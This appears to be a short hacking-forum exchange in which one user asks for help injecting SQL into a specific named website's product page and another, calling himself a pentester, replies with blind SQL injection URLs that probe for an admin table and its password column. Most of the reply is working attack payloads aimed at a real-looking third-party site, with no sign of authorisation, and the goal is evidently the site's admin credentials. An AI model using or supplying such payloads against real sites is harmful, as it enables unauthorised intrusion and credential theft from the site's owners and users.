this url:
http://www.xlsoft.com.cn/Product.asp?id=662

tools don't work.

order by 27 >>true
order by 28 >>false

when i use union select ,it doesn't work



can u help me ?

thx!

guess on the tables and columns

blind?

Hi there , you should keep ur options open ...

Try blind like :
----------
Guess table
------------
http://www.xlsoft.com.cn/Product.asp?id=662 and 0<=(SELECT count(*) FROM [user])
Wont load as user doesnt exist ...

http://www.xlsoft.com.cn/Product.asp?id=662 and 0<=(SELECT count(*) FROM [admin])
Loads... admin table is there

and so on ....
-------
Guess column name
--------
http://www.xlsoft.com.cn/Product.asp?id=662 and 0<=(SELECT count([id]) FROM [admin])
TRUE

http://www.xlsoft.com.cn/Product.asp?id=662 and 0<=(SELECT count([password]) FROM [admin])
False

http://www.xlsoft.com.cn/Product.asp?id=662 and 0<=(SELECT count([adminpwd]) FROM [admin])
True

and so on.....

Being a pentester I get to see and use strange things like coldfusion, sybase bla bla..... gotta be ready with everything..


Regards

Thx